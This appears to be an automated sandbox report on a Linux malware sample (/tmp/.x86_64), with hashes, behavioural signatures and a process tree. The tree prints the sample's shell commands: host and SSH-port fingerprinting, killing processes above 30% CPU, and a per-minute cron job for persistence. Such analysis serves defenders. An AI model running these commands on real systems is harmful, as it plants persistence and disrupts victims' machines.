Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    18-12-2024 05:23

General

  • Target

    .x86_64

  • Size

    6.1MB

  • MD5

    f9ba8c3372fdaf67422703bbc2208640

  • SHA1

    5042e58bc2e1d94912d11b11286ad6bccf0e4666

  • SHA256

    8602c57b152d735fb6e44c5866cd4a837f337d5464641f55e22fd65556e41ee2

  • SHA512

    d330557ff2bab35181a5b2ce550b11fc4f3dc8d38431ac26989d22b9247df955684fddf97dc11235001852b490704db3af87ed859c8a5bca3573aac66dd1018c

  • SSDEEP

    98304:HtpIDtRKq6YrRYjfmUyy++++++qq++++u+uwP5R5R5VYjMYjMtpuVE8OLqjbOqw0:H+tAq65cKEpHVGZA2O7TI

Malware Config

Signatures

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Security Software Discovery 1 TTPs 2 IoCs

    Adversaries may attempt to discover installed security software and its configurations.

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 7 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Process Discovery 1 TTPs 2 IoCs

    Adversaries may try to discover information about running processes.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/.x86_64
    /tmp/.x86_64
    1⤵
    • Checks hardware identifiers (DMI)
    • Reads hardware information
    • Checks CPU configuration
    • Reads CPU attributes
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:2479
    • /bin/sh
      sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
      2⤵
        PID:2481
        • /usr/bin/hostname
          hostname -I
          3⤵
            PID:2484
          • /usr/bin/awk
            awk "{print \$1}"
            3⤵
              PID:2486
            • /usr/bin/cat
              cat /etc/ssh/sshd_config
              3⤵
                PID:2488
              • /usr/bin/grep
                grep "Port "
                3⤵
                  PID:2489
                • /usr/bin/head
                  head -n 1
                  3⤵
                    PID:2490
                  • /usr/bin/awk
                    awk "{print \"-\"\$2}"
                    3⤵
                      PID:2491
                    • /usr/bin/whoami
                      whoami
                      3⤵
                        PID:2492
                      • /usr/bin/hostname
                        hostname
                        3⤵
                          PID:2493
                        • /usr/bin/grep
                          grep -c "^processor" /proc/cpuinfo
                          3⤵
                          • Checks CPU configuration
                          PID:2494
                        • /usr/bin/grep
                          grep -m 1 "model name" /proc/cpuinfo
                          3⤵
                          • Checks CPU configuration
                          PID:2497
                        • /usr/bin/cut
                          cut -d: -f2
                          3⤵
                            PID:2498
                          • /usr/bin/sed
                            sed -e "s/^ *//"
                            3⤵
                              PID:2499
                            • /usr/bin/sed
                              sed -e "s/\$//"
                              3⤵
                                PID:2500
                              • /usr/bin/awk
                                awk "{print \$1}"
                                3⤵
                                  PID:2503
                                • /usr/bin/awk
                                  awk "{print \$4}"
                                  3⤵
                                    PID:2506
                                  • /usr/bin/awk
                                    awk "{print \$4}"
                                    3⤵
                                      PID:2509
                                    • /usr/bin/awk
                                      awk "{print \$3}"
                                      3⤵
                                        PID:2512
                                      • /usr/bin/awk
                                        awk "{print \$4}"
                                        3⤵
                                          PID:2515
                                        • /usr/bin/awk
                                          awk "{print \$1}"
                                          3⤵
                                            PID:2518
                                          • /usr/bin/awk
                                            awk "{print \$2\" \"\$3\" \"\$4}"
                                            3⤵
                                              PID:2520
                                          • /bin/sh
                                            sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                                            2⤵
                                              PID:2521
                                              • /usr/bin/ps
                                                ps -A "-ostat,ppid"
                                                3⤵
                                                • Reads CPU attributes
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                PID:2522
                                              • /usr/bin/awk
                                                awk "/[zZ]/ && !a[\$2]++ {print \$2}"
                                                3⤵
                                                  PID:2523
                                                • /usr/bin/id
                                                  id -u
                                                  3⤵
                                                    PID:2525
                                                  • /usr/bin/ps
                                                    ps x
                                                    3⤵
                                                    • Reads CPU attributes
                                                    • Enumerates kernel/hardware configuration
                                                    • Reads runtime system information
                                                    PID:2526
                                                  • /usr/bin/grep
                                                    grep /etc/cron
                                                    3⤵
                                                      PID:2527
                                                    • /usr/bin/grep
                                                      grep -v grep
                                                      3⤵
                                                        PID:2528
                                                    • /bin/sh
                                                      sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                                                      2⤵
                                                      • Security Software Discovery
                                                      PID:2530
                                                      • /usr/bin/id
                                                        id -u
                                                        3⤵
                                                          PID:2531
                                                        • /usr/bin/ps
                                                          ps aux
                                                          3⤵
                                                          • Checks CPU configuration
                                                          • Reads CPU attributes
                                                          • Enumerates kernel/hardware configuration
                                                          • Process Discovery
                                                          • Reads runtime system information
                                                          PID:2532
                                                        • /usr/bin/grep
                                                          grep -v grep
                                                          3⤵
                                                            PID:2533
                                                          • /usr/bin/grep
                                                            grep -v -- "-bash[[:space:]]*\$"
                                                            3⤵
                                                              PID:2534
                                                            • /usr/bin/grep
                                                              grep -v /usr/sbin/httpd
                                                              3⤵
                                                                PID:2535
                                                              • /usr/bin/awk
                                                                awk "{if(\$3>30.0) print \$2}"
                                                                3⤵
                                                                  PID:2536
                                                              • /bin/sh
                                                                sh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '/tmp/.x86_64' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'/tmp/.x86_64' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '/tmp/.x86_64\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:2538
                                                                • /usr/bin/rm
                                                                  rm -rf /tmp/.cron
                                                                  3⤵
                                                                    PID:2540
                                                                  • /usr/bin/crontab
                                                                    crontab -l
                                                                    3⤵
                                                                      PID:2541
                                                                    • /usr/bin/grep
                                                                      grep -v grep
                                                                      3⤵
                                                                        PID:2542
                                                                      • /usr/bin/grep
                                                                        grep -v /tmp/.x86_64
                                                                        3⤵
                                                                        • Reads runtime system information
                                                                        PID:2543
                                                                      • /usr/bin/crontab
                                                                        crontab -l
                                                                        3⤵
                                                                          PID:2545
                                                                        • /usr/bin/grep
                                                                          grep -v grep
                                                                          3⤵
                                                                            PID:2546
                                                                          • /usr/bin/grep
                                                                            grep "/tmp/.x86_64\$"
                                                                            3⤵
                                                                              PID:2547
                                                                            • /usr/bin/sort
                                                                              sort
                                                                              3⤵
                                                                                PID:2548
                                                                              • /usr/bin/uniq
                                                                                uniq
                                                                                3⤵
                                                                                  PID:2549
                                                                                • /usr/bin/wc
                                                                                  wc -l
                                                                                  3⤵
                                                                                    PID:2550
                                                                                  • /usr/bin/crontab
                                                                                    crontab /tmp/.cron
                                                                                    3⤵
                                                                                    • Creates/modifies Cron job
                                                                                    PID:2551
                                                                                  • /usr/bin/rm
                                                                                    rm -rf /tmp/.cron
                                                                                    3⤵
                                                                                      PID:2552
                                                                                  • /bin/sh
                                                                                    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
                                                                                    2⤵
                                                                                    • Security Software Discovery
                                                                                    PID:2553
                                                                                    • /usr/bin/id
                                                                                      id -u
                                                                                      3⤵
                                                                                        PID:2554
                                                                                      • /usr/bin/ps
                                                                                        ps aux
                                                                                        3⤵
                                                                                        • Checks CPU configuration
                                                                                        • Reads CPU attributes
                                                                                        • Enumerates kernel/hardware configuration
                                                                                        • Process Discovery
                                                                                        • Reads runtime system information
                                                                                        PID:2556
                                                                                      • /usr/bin/grep
                                                                                        grep -v grep
                                                                                        3⤵
                                                                                          PID:2557
                                                                                        • /usr/bin/grep
                                                                                          grep -- "-bash[[:space:]]*\$"
                                                                                          3⤵
                                                                                            PID:2558
                                                                                          • /usr/bin/awk
                                                                                            awk "{if(\$3>30.0) print \$2}"
                                                                                            3⤵
                                                                                              PID:2559
                                                                                            • /usr/bin/wc
                                                                                              wc -l
                                                                                              3⤵
                                                                                                PID:2560

                                                                                          Network

                                                                                          MITRE ATT&CK Enterprise v15

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          • /tmp/.cron

                                                                                            Filesize

                                                                                            28B

                                                                                            MD5

                                                                                            d702aeedac4e738ce12d0f9ed2db14c9

                                                                                            SHA1

                                                                                            5dc9df7b01b0aa29cc2bf0c20b8027f5d43b8d98

                                                                                            SHA256

                                                                                            56a3958992fb2ebfbdec3a7e5f2057131efc218cfaa8351b3852d13852255a68

                                                                                            SHA512

                                                                                            e25b83724d545c3412d6938a55f8cf863d1ddb4c4f6c7a5999929cc9afb3b32aff0b941d85a115cfef7b17e79eac72ec176944ce29119baf8e5367e95a3e71d3

                                                                                          • /var/spool/cron/crontabs/tmp.tFhxv3

                                                                                            Filesize

                                                                                            212B

                                                                                            MD5

                                                                                            9b2df22bae8962eca62ebdf980b476c4

                                                                                            SHA1

                                                                                            9b1115d73e7d0044fe9a85035e8bde59b5016694

                                                                                            SHA256

                                                                                            364584b976789a4000cecf963c1d93219be092581566b2ce80a9d4a7227a9bcd

                                                                                            SHA512

                                                                                            deb660ebaa23e655d2f24b0b8969e620cfe13ee46c922356f95d2dc21c450cb3986a3ddc47e0db2be629e99e6a68446c430fe017c266e4e2dad9721e5338eb60